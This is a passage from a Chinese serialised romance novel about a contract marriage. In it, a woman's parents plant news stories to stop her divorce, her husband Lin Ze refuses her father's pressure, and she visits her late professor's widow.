刚一看到唐若涵,吴庸就开始道歉,十几分钟内,吴庸说的都是满怀歉意的话。 唐若涵一直不开口。 旁边,王静急得不停地搓手。 吴庸一脸焦急,语气当中满是自责。 “小涵,我知道,这次是我好心办了坏事,不管我做什么都无法弥补,现在,我只希望你不要生气。” “林泽那边,我会亲自去道歉。” “我向他说明一切,希望他能不再误会你。” 唐若涵伸手摆了摆,眉宇间的忧愁依旧化解不开。 看到吴庸愧疚的样子,唐若涵叹气。 “算了,这件事情我来办吧。” 唐若涵也没有想到,事情会闹成这个样子。 她可以向林泽说明是怎么回事,只是,一想到在医院里林泽的眼神,唐若涵心中也变得没底起来。 说归说,至于林泽会不会相信,她也不敢保证。 毕竟所有的事情都赶到一块,眼下,就怕越描越黑。 “你去?不行,小涵,做错事情的是我,我怎么忍心看你低三下四地去求林泽的原谅,我做不到!” 吴庸紧握着拳头,像是在竭力按捺内心的情绪。 唐若涵抬眸,终于认真地审视起吴庸来。 “没有低三下四,只是说明情况。” “可即便这样,我也不忍心。” 吴庸话音落后,一旁的王静再也忍不住开口。 “唐总,恕我冒昧,说句不该说的,其实,这也不是什么大事。” “刚才我也听明白了,吴先生是一片好心,只是事情没有办妥当,唐总您是毫不知情,也是受害的那一方。” “重要的是,采访没有进行,那位老爷子也没有受到伤害,换句话说,事情可大可小。” “只要把事情说开了,这事也就过去了,如果林泽一直揪着不放,那未免显得太小家子气了。” 王静一边阐述自己的观点,一边观察唐若涵的神情。 果然。 这番话说出来以后,唐若涵的眉头稍稍松开了一些。 再看吴庸。 他的嘴角已经露出笑意。 显然,对于自己的这一番说辞,吴庸是非常赞同的。 王静心里乐开了花。 吴先生,他已经知晓了自己的立场。 “小涵,我们是当事人,未免会想得多一些,但是,旁人的观点还是要听一下的,听说,林泽的爷爷在医院住了好几年,这费用都是唐家出的。” 吴庸的话说得很轻,似乎意有所指。 唐若涵将目光放在吴庸的脸上,“什么意思?” “小涵,你别多想,我只是觉得,哪怕是看在唐家对林泽有恩的份上,他也不应该怪罪你。” “没错,做人要知恩图报,还得有自知之明,如果林泽花着唐家的钱,还要怪罪唐总,那他也太不懂事了!” 吴庸的话刚刚说完,王静立刻接上话茬。 两个人一唱一和。 搭配得十分默契。 办公桌前。 唐若涵的目光突然冷下来。 “王秘书,这里不需要你了,去忙你的事情。” 王静一怔,脸上瞬间露出尴尬的表情。 完了! 刚才,自己的话是不是多了一些? 本来,王静还想着再说几句,可眼下唐若涵的眼神像淬了冰,王静也不敢在多言。 “好的,唐总,那我先出去。” 讪讪地讲出一句,王静快步离开。 此刻。 偌大的办公室里只剩下了唐若涵和吴庸两个人。 “小涵,对不起,到底是我给你添麻烦了,不如你讲出来,让我做什么你才能消气?只要你不再生气了,你让我干什么都可以!” 吴庸站起身,一脸诚恳地走到唐若涵面前。 唐若涵伸手抚着额头,声音有些憔悴。 “吴庸,你不用如此自责,我刚才没接你的电话,还有别的原因。” “最近,公司这边很多事情都不顺利,之前制作好的微电影也被合作方退了回来。” “还有我父母那边,他们的态度让我……” 最后一句话,唐若涵只说了一半。 虽然她坚决要离婚,可父母的态度截然不同。 这也就意味着,这条离婚之路注定要布满坎坷。 一想到接下来的牵扯,唐若涵一个头都变成两个大。 “小涵,你不用着急,公司的事情我来解决,至于伯父伯母那边,咱们慢慢来。” 吴庸语气坚定,目光当中满是自信。 唐若涵瞪圆眼睛,脸上写满了不可置信。 “你?” 上次见面,吴庸曾经说过,他也热衷于电影,对电影方面的事情也有关注。 可是。 关注跟工作,这根本就是两个不相干的话题。 关注只是喜欢,它的基础更多趋向于爱好。 但工作却不同。 电影制作是要有专业的技术以及丰富的经验。 前期筹备,项目立项,甚至在剧本的选择上,都有很高的要求。 更不要说选角之类的。 每一个环节都是一种挑战,稍有不慎,便会前功尽弃。 公司的专业团队都解决不了的问题,吴庸他能行吗? 思考的同时,唐若涵的目光一直停在吴庸脸上。 这让吴庸心花怒放,甚至错认为,唐若涵已经把他当成了依靠。 瞬间。 吴庸伸手摸着下巴,声音当中满是自信。 “当然,怎么,你不相信我的能力吗?现在的我今非昔比,有几个电影公司的投资商,跟我交情也很不错。” “我一会就给他们打电话,之前拍的那些片子先不要放弃,说不定,你会有意想不到的收获。” 唐若涵微微皱眉,声音当中依然充满不确定。 “可是,徐总说,我们选择题材……” 唐若涵话还没说完,吴庸当即开口将她打断。 “徐总?徐氏传媒的徐明亮?他的话你不用太在意,剩下的你看我的。” 说起接下来的事情,吴庸神情当中也多了一丝严肃。 “小涵,商场上有句话,所有的鸡蛋不能放在同一个篮子里,你也是时候该找一条后路了。” “那我们重新翻拍的微电影,当真没有继续下去的必要?” 吴庸微微颔首,确定在唐若涵的眼里,看到的是最帅气的自己以后,这才出声。 “如果你不放心,那就先拍着,不过我觉得多数是用不上的。” 看到这副情形,唐若涵松了一口气。 “那我就提前谢谢你了。” “小涵,我可不许你这样说,我又不是外人,说谢谢不就生分了?” 吴庸眼神当中闪过一丝得意,却又巧妙地掩饰住。 唐若涵点点头,刚拿起手机,脸色突然大变! “怎么会是……这样?这……到底是怎么回事!” 第30章 姐夫,你这是怎么了? 唐若涵声音颤抖,脸上充满不可置信。 吴庸一头雾水,忍不住侧身,顺着唐若涵的目光看去。 【夫妻不和?唐若涵当场打脸造谣者!】 【特大新闻,唐大小姐夫妻情深义重!】 【离婚?唐总用事实辟谣!】 看着推送标题,吴庸的心渐渐变凉。 这是怎么回事? 采访不是没有完成吗?新闻怎么出来了? “小涵,怎么回事?” 吴庸一脸蒙圈,几乎是出于本能问出一句。 唐若涵瞬间暴怒,猛地将手机扔在桌子上:“吴庸,你到底干了什么?” “我什么都没干啊,小涵,你要相信我,你走了以后,电视台的那些记者……也就走了!” 吴庸急于撇清关系,说话的声音都有些磕绊。 “那这新闻是怎么回事?能不能给我一个合理的解释?” 本来以为,医院的事情会就此打住,可谁曾想,新闻竟然出来了! 唐若涵浑身发抖,刚才对吴庸的感激也荡然无存。 甚至。 看向面前的人时,唐若涵的目光当中还多了一丝厌恶。 吴庸急得团团转,不停地摸着脑门。 此刻,他的身上再也没有优雅之色,取而代之的全是慌张。 “怎么会是这样,到底哪里出了问题,可是我真不知道是怎么回事!” 喃喃自语完毕,吴庸努力让自己冷静。 “小涵,会不会还有人拿着这件事情做文章?” 此话一出。 唐若涵眼眸骤然变紧。 还有人? 知道她去医院看林振山的,并没有几个人。 除了吴庸还会有谁? 唐若涵本来想反驳,突然,脑海当中闪过一个人的影子! 盯着对面的沙发,唐若涵也想到昨日的种种。 吴庸的样子不像是在说谎,可是,要说这是母亲早就设计好的,唐若涵也不愿意相信。 情急之下。 唐若涵迅速拿起手机,很快拨通周美珊的电话号码。 “妈,网上的那些新闻,是不是你的操作?” 电话刚一接通,唐若涵便冷声质问。 “小涵,什么新闻啊,你在说什么?” 周美珊声音依旧温柔,话语当中,满是惊讶与不解。 “昨天你劝我去看林泽的爷爷,今天,网上便炸开了锅,妈,你明明知道我要离婚的,你为什么要这么做!” “处处提醒我要维护唐家的名声,可你的做法却截然相反,知不知道这些新闻会给集团带来多大的影响?” “你到底要干什么?我可是你们的亲生女儿啊,你怎么忍心这么做?” 唐若涵声音当中充满无奈,握着手机的手关节都开始泛白。 周美珊尴尬的笑了几声。 “小涵,这件事情你也不能怪我们,我们都是为了你好,林泽这个人,真的非常不错……” 不等对方把话说完,唐若涵直接挂断电话。 颓废的坐在椅子上,唐若涵的情绪几乎崩溃。 “小涵,你没事吧?我给你倒杯水。” 吴庸关切地望着唐若涵,心里却松了一口气。 刚才实在是太悬了! 差一点,唐若涵就把自己当成了敌人。 还好事情真相浮出水面,虽然现在唐若涵恼火,可到底还了自己一个清白。 “喝点水吧,小涵,你别太难过,他们到底是你的父母。” 吴庸将水送到唐若涵的面前。 看到唐若涵泪眼婆娑,他恨不得把眼前的人拥入怀中。 唐若涵皮肤白皙,大颗的泪水挂在睫毛上,仿佛一眨眼,泪水便会顺着脸颊滑落。 这梨花带雨的样子,谁看了不心疼? “对不起,吴庸,刚才我错怪你了。” “没事,我们之间不谈这些,我们走过了那么多风风雨雨,这点挫折算什么?” 吴庸望着唐若涵,一脸深情。 …… “今日,我市公安机关,成功破获一起省博物馆重大文物盗窃案。” “抓获罪犯三名,并将盗窃的珍贵文物九眼天珠,一并追回。” “此次,各部门同心协力……” 电视台的播报还没有播放完毕,林泽已经关掉电源键。 成功破获案件的新闻稿,大多都是一样的。 先是告诉大家,案子已经破了,接着,便会大力表扬各个部门的完美配合以及周密部署。 既然已经知晓结果,林泽也不想继续听那些锦上添花的描述。 放好遥控器,林泽回到自己的房间,接着,拿出一个铁盒子。 盒子表面已经生了锈,好几处,有明显的凸凹不平。 小心翼翼的摩挲着铁盒,林泽的心情也越来越复杂。 “吱呀——” 铁盒被打开,看到里面的那枚铜钱,林泽心中一阵酸涩。 “洛洛,你现在在哪里?我还能不能找到你?” 林泽声音嘶哑,眼眶泛红。 “也许有一天我们能遇上,可你还能记得我吗?” 昔日的记忆如同断了片的电影,不断在脑海出现。 破旧的孤儿院,夹生的馒头,带着虫子的青菜,清淡的能看到米粒的粥。 一天三顿,有两顿吃不饱。 半夜经常被冻醒。 再次回想起在孤儿院的日子,林泽心中依旧沉重。 可是,那时的日子过得虽然苦,却是美好的。 “林泽哥哥,蚂蚁为什么会跑?” “洛洛一辈子都要跟着林泽哥哥。” “林泽哥哥,别丢下我,洛洛听话……” 车窗外。 洛洛撕心裂肺的哭喊着,小手不停的挥舞。 她一直跑,一直哭。 可汽车却一直没有停下。 林泽的胳膊被人死死地按着,动弹不得。 唯一能做的,便是使劲的喊着洛洛的名字…… 林泽缓缓闭上眼睛,铜钱早已经将掌心硌红,林泽却始终没有松开。 等到睁开眼,眼泪已经顺着脸颊滑落。 “洛洛,我一定会找到你。” 林泽喃喃私语。 “姐夫,你在干什么,我都喊半天了,你怎么还在屋里?” “天呐,姐夫,你怎么哭了?” “我……是不是打扰到你了?” 苏晴站在门口,惊讶的眼睛都瞪圆了。 如果不是亲眼所见,她怎么也不会相信眼前这一幕。 林泽,那个脸上一直带着笑意的林泽,他怎么会那么伤感? 究竟什么事情,会让他如此伤心? 苏晴的声音传来,林泽这才缓过神。 慌乱地擦了一把脸,又将铜钱放回到铁盒当中,这才转身。 “苏小姐,你怎么来了?有事吗?” “哦,我来找表姐,她的电话一直打不通,我就直接到家里来了。” 说完,苏晴伸手指了指铁盒的方向。 “姐夫,你没事吧?刚才……” “没什么,苏小姐,今天想吃点什么?” 林泽努力让神情平静,很快转移话题。 第31章 别墅外,咖啡馆见! “我今天不饿,你随便弄点吃的就行,我主要是来找表姐的。” 苏晴有些惋惜。 这要是放在平时,她一定狮子大开口。 可想想刚才林泽的状态,在选菜方面,苏晴现在也不好意思大点特点。 “那我就做几道你经常点的菜吧!” “好,你随便做就行。” 话虽然说得无比轻松,可讲出这几个字的时候,苏晴感觉肉都在疼。 好好的机会,就这么浪费了。 真是可惜了! 来到客厅,苏晴等待林泽做饭的同时,还不停地给唐若涵发消息。 时间不长。 外面响起开门的声音,随后唐若涵走进来。 苏晴一下子从沙发上弹起,“表姐,你可回来了,我还以为你有了心上人,都要夜不归宿了!” “胡说八道些什么?”唐若涵将手中钥匙放下,柳眉瞬间皱成一团,“不好好上课,跑到我这里来干什么?” “我当然是监督表姐了,另外,还有一件事情想弄明白。” 苏晴挑挑眉毛,神秘地对着唐若涵眨眨眼睛。 唐若涵无语,换好拖鞋后径直走向沙发那边。 苏晴则是在她身后紧紧地跟着。 对于这个表妹的口无遮拦,唐若涵早已经习惯。 所以尽管苏晴刻意放大脸上的表情,唐若涵依旧慢悠悠的。 无奈之下。 苏晴只好轻点几下手机屏幕。 “喏,就是这个,表姐你怎么回事?你的心里不是一直有吴庸吗,怎么又开始跟姐夫秀恩爱了?” “什么秀恩爱,你不要乱说,这些事情是个误会!” 看到互联网上的那些新闻,唐若涵瞬间着急。 苏晴却一脸的不相信。 “什么误会,都上热搜了,你还不承认?” 唐若涵伸手抚了抚额头,声音当中尽是疲惫,“这就是个圈套,信不信由你!” 苏晴瞪圆眼睛,小嘴微张,脸上立刻露出八卦的表情。 “什么意思?你被人算计了?谁有那么大的胆子!” “你也知道,我马上就要跟林泽离婚了,但是,我爸妈不同意,他们这样做,或许就是想给我个警告。” 说到这里,唐若涵目光突然坚定。 “但他们想错了,不管付出什么样的代价,我都会离婚!” “有时候,我真怀疑,我是他们的亲生女儿,还是他们手里的棋子!” “事情闹得沸沸扬扬,他们到底有没有顾及过我的感受!” 将心中的郁闷说出来,唐若涵双手抱膝,习惯性地蜷缩在沙发上。 苏晴看看厨房的方向,犹豫片刻,这才小声的说:“表姐,这件事情你都接受不了,那姐夫是不是更难受?” 唐若涵转过头,脸上露出匪夷所思的表情。 “他难受?” “对啊,”苏晴郑重地看向唐若涵,“我觉得,姐夫才是最受伤的那个人。” “先是网上的恩爱夫妻,用不了多久就会离婚,唐家的名誉和你的名声,甚至唐氏集团的股票,你们可以想尽各种办法来维护。” “可是,姐夫他什么都没有,面对网络上的舆论,他只能硬撑着。” “他应该更难受才对。” 唐若涵怔住。 苏晴说的这些,她好像从来没有考虑过。 事情出了以后,唐若涵考虑了很多,唯独林泽,她没有考虑过。 现在被苏晴这么一说,唐若涵突然感觉有些愧疚。 相处三年,虽然对林泽没有感情,可能他们也不至于成为仇人。 今天的事,自己是受害者,可林泽也是被连累的。 “好像,是可以这样说。” “什么好像,分明就是!”苏晴朝着唐若涵的方向挪了挪,悄悄凑到她的耳朵边上,说话时还不忘记用手挡着,“我跟你讲,姐夫都被气哭了……” “什么?骗我的吧?” 唐若涵声音骤然提高,目光当中满是不可置信。 虽然她并不了解林泽,可在唐若涵的印象当中,林泽的承受能力是很强的。 当年的婚礼现场,面对那么多人的嘲讽跟讥笑,林泽始终非常平静。 三年当中,很多场合,自己都让林泽难堪,他也很平静地接受。 这一次,记者突然到访,虽然有些意外,可他不至于哭吧? 苏晴的头摇得像拨浪鼓一样,“我亲眼看到的,怎么可能骗你?” 唐若涵柳眉微蹙,“不可能!” “我发誓,我看到他哭了!毕竟这几年谁也无视他,这对他太不公平了!” 苏晴辩解,却不敢出太大的声音。 林泽已经在厨房里待了一会儿了,随时都能出来。 万一让他听到自己在八卦这些,那多尴尬? 唐若涵直视苏晴的目光。 苏晴撇撇嘴,像小时候一样,在唐若涵的威压下,如实讲了刚才的情形。 “我不太确定他是因为什么,但是,他肯定是哭了!如果你还不相信,一会儿你亲自问问他?” “我才不要,我没有打听八卦的习惯。” 唐若涵甩给苏晴一个白眼。 “我看,你就是心虚了,你是不是也感觉姐夫这三年里对你太好了,你心里也有愧了?” 唐若涵心中一紧。 心情也变得复杂。 对林泽的付出,她确实是无动于衷。 可林泽真的是因为这件事情难过了吗? “唐总,苏小姐,开饭了。” 林泽声音传来,唐若涵的思绪瞬间被打断。 随即。 苏晴几乎尖叫! “姐夫,你真的是太好了,你竟然做了红烧肉,还有白灼虾,还有这个也是我最爱吃的!” 激动之余,苏晴张开双臂,一下子把林泽抱住! “苏小姐……” 林泽尴尬。 唐若涵瞬间起身! “苏晴,去洗手!” …… 晚饭过后。 苏晴跟唐若涵去夜跑。 林泽刚刚收拾完碗筷,手机突然传来提示音。 屏幕上显示的,是一则未读短信。 发件人,唐英豪? 林泽疑惑,急忙点开消息内容。 “十五分钟后,别墅外,咖啡馆见。” 短短几个字,却让林泽皱起眉头。 唐英豪约他去咖啡馆,有什么事情吗? 紧接着。 又一则消息发过来。 “别让小涵知道。” 林泽神情变得严肃,随后拿起外套,直接出门。 从别墅到唐英豪说的咖啡馆,不过十分钟的距离。 可林泽的脚步却走得十分沉重。 这个时间点,瞒着唐若涵见自己,唐英豪所说的事情,绝对不简单。 第32章 她那边,我来搞定! 晚上的咖啡馆安静异常。 舒缓的音乐,弥漫着咖啡香的空气,几对轻声呢喃的小情侣。 时时处处,都散发着温馨的感觉。 林泽到的时候,唐英豪已经坐在靠窗的位置。 “唐先生,您找我有什么事吗?” 林泽神情平静,语言客气。 唐英豪指了一下对面的位置,淡淡道:“先坐下来。” “好的,唐先生。” 唐英豪的面前摆着一杯咖啡,却没有要动的意思。 直到林泽坐下来,唐英豪这才拿起咖啡匙,“最近几天,小涵还可以吧?” “回唐先生的话,唐总最近食欲还可以,作息时间跟之前比也没有太大的波动……” 林泽话还没有说完,唐英豪的声音已经传了出来。 “我指的不是这些。” 林泽抿住嘴唇,不再开口。 唐英豪抬眸。 “三年的时间马上就要到了,她情绪上,应该有不少变化。” 想想之前唐若涵倔强的态度,唐英豪眉头微皱。 林泽嘴角微动。 “唐先生,三年之约确实就要到期,唐总情绪上有变化也是很正常的。” “商量好了?” 唐英豪突然转移话题,眼睛直直地望着林泽。 “对,时间到了,我们就去离婚。” 林泽声音平静,目光当中看不出任何波澜。 唐英豪脸一下子沉下来。 当初,唐若涵说林泽他们已经商量好了,自己还有些不信,现在听林泽亲口说出这种话,唐英豪一时间有些难以置信。 “怎么商量的,谁允许你们离婚的!这么大的事情,你们两个想怎样就怎样?” 唐英豪压低声音,语气当中尽是不满。 面对唐英豪的做法,林泽心中闪过一丝不解。 “唐先生,合约上写得很清楚,三年的时间这是期限。” “不行!你们不能离婚,”唐英豪摆摆手,示意林泽不要再继续说下去,“听我的,这日子该怎么过还怎么过,就当这件事情没有发生。” “你不要理会小涵的情绪,她那边我会搞定,不是合约到期了吗,那就再续!” 这一次。 林泽完全愣住。 本以为仅仅是三年的期限,可谁成想,在唐英豪的嘴里竟然变成了起点? 续约? 不可能,他已经不想再这样做了! 况且,当初谈的时候也没有提到续约的事。 稍等片刻。 看到唐英豪的情绪稳定了一些,林泽这才开口。 “唐先生,我们还是按照合同上的约定来,时间到了,就把离婚手续办了。” “什么意思!故意要跟我作对是不是?我让你怎么办你就怎么办,你顺着小涵的意思来,我们的心思不就白费了?” 唐英豪一脸怒火! “林泽,你现在翅膀硬了,连我的话都不听了是不是?你最好想清楚,你现在的一切都是我唐英豪给的!” “吃的,穿的,花的,包括你爷爷的医药费,哪一样不是唐家的钱?” “如果你觉得不够用,那就再加!数额多少你提,路我已经铺好了,明天你接受一个新闻专访!” 唐英豪软硬兼施,林泽却愈发不解。 因为合同就要到期,唐英豪为何却要多此一举? 林泽没有反驳唐英豪,却开始皱眉沉思。 对面。 唐英豪的语气也软下来。 “我这么做都是为了你们好,你这三年的付出,我们也看在眼里,你对小涵真的很尽心,把她交给你,我们也很放心。” “今天的新闻你看了吧,这些都是铺垫,明天接受了专访,剩下的事情就不用你管了。” 唐英豪早已经将剩下的事情安排妥当。 可林泽,想的却是另外一件事。 今天的新闻,难道跟唐英豪有关? 为了确定心里的想法,林泽进一步询问。 “唐先生,今天在医院里而那些记者,是您安排的?” “也不全是,”唐英豪直言不讳,“那帮蠢记者,怎么可能办成事?在他们过去之前,我的人早已经把稿子写好了。” 想想今天的安排,唐英豪满是得意。 林泽的心却在一点点往下沉。 原来,唐若涵去医院看爷爷,竟然有这么多人惦记? 唐英豪,吴庸全都用上了自己的招数。 如果判断得没错,唐英豪应该是先发起舆论,接着用唐家的名誉来道德绑架唐若涵,以此达成不允许他们离婚的目的。 只是,这一次,唐英豪想错了。 “唐先生,明天的专访还是算了,我尊重唐总的决定,而且,我也想结束这一层关系。” 三年前,唐家的确救了他的急。 可在这三年当中,他谨小慎微地履行着合同当中的承诺。 他身上的钱的确是唐家的,却也是他辛苦付出得到的。 在合约期间,他也因此失去了很多。 所以合约到期,婚,是肯定要离的。 “林泽,你最好想清楚,唐家在东海,虽然不是一手遮天,却还是有话语权的。” 唐英豪吐字缓慢,脸上像蒙了一层冰。 该说的都已经说了,既然林泽还不同意,那更有必要提醒他一下,唐家不是一个摆设。 林泽看了一下墙上的钟表。 “唐先生,我出来的时间已经不早了,再不回去唐总会发现的,如果唐先生没有别的事情,那我先走了。” 淡淡地说出一番话,林泽起身,离开。 转身瞬间。 身后传来拍桌子的声音。 “砰!” 声响低沉压抑。 像是拳头砸在桌面上一般。 林泽没有回头,直接走向咖啡馆门口。 唐英豪的怒火,几乎要从眼睛里喷出来! …… “表姐,怎么办,姐夫出来了,他会不会发现我们?” 苏晴胆战心惊,呼吸急促,胸脯都跟着一起一伏。 唐若涵收回目光,声音逐渐变冰冷。 “走吧,回去!” “回去质问姐夫吗,他不会觉得我们是在跟踪他吧?没事,我可以作证的,咱们这真的是巧遇!” 苏晴说话磕磕绊绊,同时举起三根手指。 唐若涵柳眉蹙成一团。 没想到,一次夜跑,竟然能够撞到林泽跟父亲在咖啡馆见面。 隔着玻璃,她并不清楚里面的两个人在说什么。 可看从二人脸上的表情不难看出,这次见面,他们谈的不愉快。 父亲的恼火程度,不亚于那日跟自己激烈的争吵。 脑海当中闪过王静跟吴庸的话语,唐若涵心中疑惑更浓。 三年当中,林振山的医药费确实不是小数目。 难道,当年他们真的背着自己达成过什么协议? 唐若涵的眼睛眯成一道缝,想法也越来越清晰。 这时。 苏晴一阵惊呼。 “出来了!” 瞬间拉住唐若涵的胳膊! 第33章 始作俑者,不可原谅! 唐若涵身体一闪,瞬间将苏晴拉到一旁。 等到林泽离开,唐若涵才收回目光。 “回去吧,记住,回去了以后,什么也别说。” “表姐,你不问问姐夫跟姨夫见面说了什么吗?” 苏晴清澈的眸子当中满是不解。 明明已经看到了,却还要装作什么都没有发生过,这得多憋得慌? “你不用管,我来处理。” 唐若涵说话的声音并不大,语气当中却带着显而易见的不容置疑。 苏晴不再说什么,默默地跟着唐若涵往回走。 …… 十来分钟后。 “唐总,您回来了,”林泽情绪平静,说着,将做好的柠檬水递到唐若涵面前,“先补充一下维生素吧。” 唐若涵没说话,将柠檬水接过来,却没有要喝的意思。 旁边。 苏晴一口气将另外一杯柠檬水喝了大半杯,这才试探性地看向林泽。 “林泽,我有话要跟你说。” 唐若涵的语气淡淡的。 林泽的手微不可查地动了一下。 直觉告诉他,唐若涵一会要说的应该跟医院里发生的事情有关。 毕竟,今天的事情闹得挺不愉快。 虽然已经猜测到几分。 但林泽脸上并没有表现出什么来。 习惯性地做到距离唐若涵三四米处,林泽抬眼看向对面。 现在合同还没到期,眼下他跟唐若涵还是雇佣关系,该履行的职责还是要履行的。 唐若涵微微皱眉。 还没说什么,林泽就跟她保持了如此长的距离,这是身体的排斥反应吗? 又联想到刚才的画面,唐若涵心中一阵不舒服。 “林泽,今天,医院的事情我向你道歉,我也不知道事情会成为那个样子,对不起。” 唐若涵的话说得有些生硬,但是,却不像是装出来的。 林泽迟疑片刻,声音有些干涩地道:“唐总不必说这些。” 唐若涵感觉有些奇怪。 之前在医院,林泽还特别恼火。 怎么现在,态度竟然有了如此转变? 难道,是跟刚才有关? “你这是原谅我了?” 到现在,唐若涵反倒有些不自信了。 见林泽点头,唐若涵接着又开口。 “其实,吴庸也不是故意的,对于这件事情,他也非常愧疚,或许他是好心办了坏事,但他的初衷是好的。” 说话间,唐若涵再次看向林泽。 而此刻。 林泽的目光突然冷了下来。 唐若涵并没有察觉到异样,“所以,这件事情,可不可以就让它这么过去?吴庸不是故意的。” 林泽心中一震,语气冷漠地回应道:“唐总,我可以原谅你,但是吴庸,不可能。” 唐若涵震惊,眼神当中满是不可置信。 “为什么?今天下午,吴庸一直在解释……” 唐若涵的话还没有说完,林泽直接开口打断了她。 “唐总,吴庸是您的心上人,您帮着他说话,这无可厚非,但是一码归一码。” “我之所以不计较,是因为唐总您跟我一样,事前都毫不知情。” “但是吴庸不同,他是这件事情的始作俑者,我不可能原谅他。” 既然唐若涵开始帮着吴庸说话,林泽干脆把话挑明。 而且,林泽相信,这一番话说得有条有理,唐若涵不可能理不清楚。 果然。 林泽话音落了以后。 唐若涵柳眉再次蹙起,嘴唇微张,却不知道该说什么才好。 林泽态度坚决,显然,根本不想原谅吴庸。 气氛一下子尴尬起来。 苏晴一会儿看看唐若涵,一会儿看看林泽,这时也不知道该偏向哪边才对。 她从唐若涵的嘴里弄明白事情的经过,苏晴本能地想帮着林泽说话。 可看到唐若涵一脸寒霜的样子,苏晴心里又开始发怵。 时间一点点过去。 两个人都没有说话。 唐若涵一直在等,像是在等林泽改变主意,也像是在等他主动开口说今晚的事。 同时,唐若涵又有些忐忑。 如果林泽一直闭口不讲,那…… 最终,唐若涵忍不住首先打破寂静。 “林泽,吴庸他这个人……” “唐总,我跟吴庸并不熟,他是什么样的人,我也不想了解,我只相信我眼前看到的。” 林泽依旧坚决。 “今天晚上,我见了唐先生,同时也清楚了网上的那些新闻稿都是唐先生安排的,这让我确定你跟我一样都是受害者。” “唐先生那边,我已经说明想法,婚肯定是要离。” “所以明天的个人专访,我也已经拒绝。” “至于吴庸那边,唐总,您别说了,真的没有必要。” 唐若涵柳眉微蹙,脸色沉得如水一般。 听到林泽提起新闻稿子,那种被骗的感觉,再次袭上唐若涵心头。 望着面前的林泽,唐若涵目光当中闪过一丝愧疚。 刚才在路上,自己还想着林泽会不会将事情隐瞒下去。 甚至还在琢磨,林泽跟父亲会不会合起伙来骗她? 眼看着林则如此坦荡,唐若涵反倒有些不好意思。 既然林泽已经把话说到这个份上,帮着吴庸解释的事情,也只好到此为止。 “好,没事了,那你先去忙吧。” 疲惫地说出一句,唐若涵缓缓起身上楼。 “表姐,看来我们多想了,我早就说了,姐夫不是我们猜测的那种人。” 苏晴一边上楼一边嘀咕。 “反倒是那个吴庸,事情做得有些太过分了,他就算是想表现,也不应该拿着病人开玩笑,如果换做是我,我也不会原谅。” 唐若涵目光当中闪过一丝复杂。 “他只是事情没办妥当,他已经向我解释过了。” “表姐,怪不得人们都说是亲三分向,看来吴庸在你心里的位置还是非常重的,即便他做得不对,你也帮着他说话。” 说着,苏晴还不停地补充。 “吴庸的这种做法,就是踩在别人身上炫耀,他可以表现出自己的优越,为什么要在别人伤口上撒盐?真过分!” “行了,你别絮絮叨叨的了,我心里都烦死了!” 唐若涵气鼓鼓地甩出一句。 推开卧室的门,唐若涵没好气地坐在沙发上。 刚想开口说什么,手机突然响起来。 手机屏幕上显示一则未读消息。 唐若涵打开,眼眸瞬间一紧。 “若涵,明天上午有时间来一趟吗?我有些东西想给你,另外,还有件事情想和你商量一下。” 发件人,竟然是……师母! 第34章 重要的人……怎么会是他? 想起师母,唐若涵心中一沉。 敬仰的老教师突然离世,留下师母一个人独自面对剩余的时光,是何其残忍? 唐若涵当场编辑消息答应。 这时。 手机又响起来。 看到手机屏幕上的备注,唐若涵很快按下接听键。 “吴庸,什么事?” 唐若涵情绪不高,声音淡淡的。 隔着手机屏幕都能听得出来。 “小涵,你怎么了,是不是跟林泽吵架了?今天的事情真的对不住,我给你惹麻烦了。” 刚一开口,吴庸又开始说道歉的话。 “没事,你有什么事吗?” “小涵,我订了明天上午的电影票,我们一块去看电影吧,位置很好,视觉效果绝对不错……” 吴庸话语当中透露着兴奋。 唐若涵直接拒绝。 “不好意思,我明天上午有事。” “啊?” 吴庸失落,刚才的兴致一下子荡然无存。 “是这样的,明天上午要去师母那里一趟。” “原来你是去看师母啊,”吴庸顿了顿,“按道理说,我们的确应该去一趟,不如这样,我跟你一块去怎么样?我也想去看看师母她老人家。” 唐若涵没有想到,吴庸会有这样的提议。 想到之前上学的时候,赵教授对吴庸也不错,再想想吴庸的一片心意,唐若涵只好答应。 “那好吧,明天上午九点见。” “好,我开车去接你。” 吴庸的声音突然变得兴奋起来。 在他看来,看电影,逛街甚至就餐旅游,根本没有什么区别。 重要的是,只要能跟唐若涵在一起,做什么都一样。 只要结果能够培养,跟唐若涵的感情过程并不重要。 挂断吴庸的电话。 唐若涵刚想说话,突然发现,苏晴已经开始打游戏了。 “上啊,上啊,我都开始放大招了,救我,救我!” 苏晴神情专注,眼睛死死盯着屏幕,脑袋恨不得扎进去。 即便两只手不停地哆嗦,可到最后,还是让对方给嘎了。 唐若涵目光变得温柔。 大学时光就是好,世界都是清澈的。 回想起昔日大学生活,唐若涵脑海当中闪过最多的还是吴庸。 …… 次日清晨。 吃完饭以后苏晴去学校,唐若涵并没有着急去公司。 一直等到将近九点,唐若涵这才出门。 门口那辆黑色豪车,林泽一眼便认出是吴庸的。 没等吴庸下车,林泽便转身进门。 每个人都有自己要做的事情,就像唐若涵现在忙着谈恋爱,他忙着投简历一样。 二十分钟过后。 唐若涵出现在赵教授的别墅。 依旧是那栋白色二层小楼,可跟平日里相比,唐若涵总觉得多了一层压抑。 门是师母亲自打开的。 几天不见,师母神情疲惫。 步伐变得蹒跚,两鬓白发似乎也增加了很多。 “师母,您还好吧?” 唐若涵刚一开口,声音就变哽咽。 “我没事,你们进来吧。” 老太太努力在脸上挤出一丝笑容,随后闪身。 房间依旧是那个房间,赵教授已经不在。 墙上,多了一张灰白色遗像。 看着赵教授平静温和的面孔,唐若涵眼眶泛红。 前几天,关于赵教授的事情,官方给的明确说法。 唐若涵也有看到。 现在尘埃落定,可赵教授却再也回不来了。 “唐小姐来了,快请坐吧。” 一个年轻男子的声音传来,唐若涵抬眸,认出说话的人是赵教授的助理,周平方。 看到吴庸惊讶的眼神,老太太当即解释。 “最近这几天,小周一直在这里忙活,真辛苦他了。” 话音刚落。 吴庸急忙接上话茬。 “周先生,谢谢你照顾师母,辛苦。” 周平方当即摇头,一脸谦逊道:“不客气,这都是我应该做的,师傅走的太突然,我心中也放不下。” 屋子里的气氛再一次变得沉重。 老太太幽幽叹了一口气。 “事已至此,大家都接受事实吧!” 随后老太太看向周平方。 “小周,你把你师傅的那些东西拿出来。” 周平方点点头,迅速走进里屋。 很快。 周平方搬来一个箱子,动作小心翼翼。 “若涵,这些东西你留下吧。”老太太缓缓说道。 唐若涵微微蹙眉,随即将目光看向箱子。 箱子里面摆放的是几本笔记本,有几本封面已经有明显的旧色。 显然,是经常拿出来翻阅的缘故。 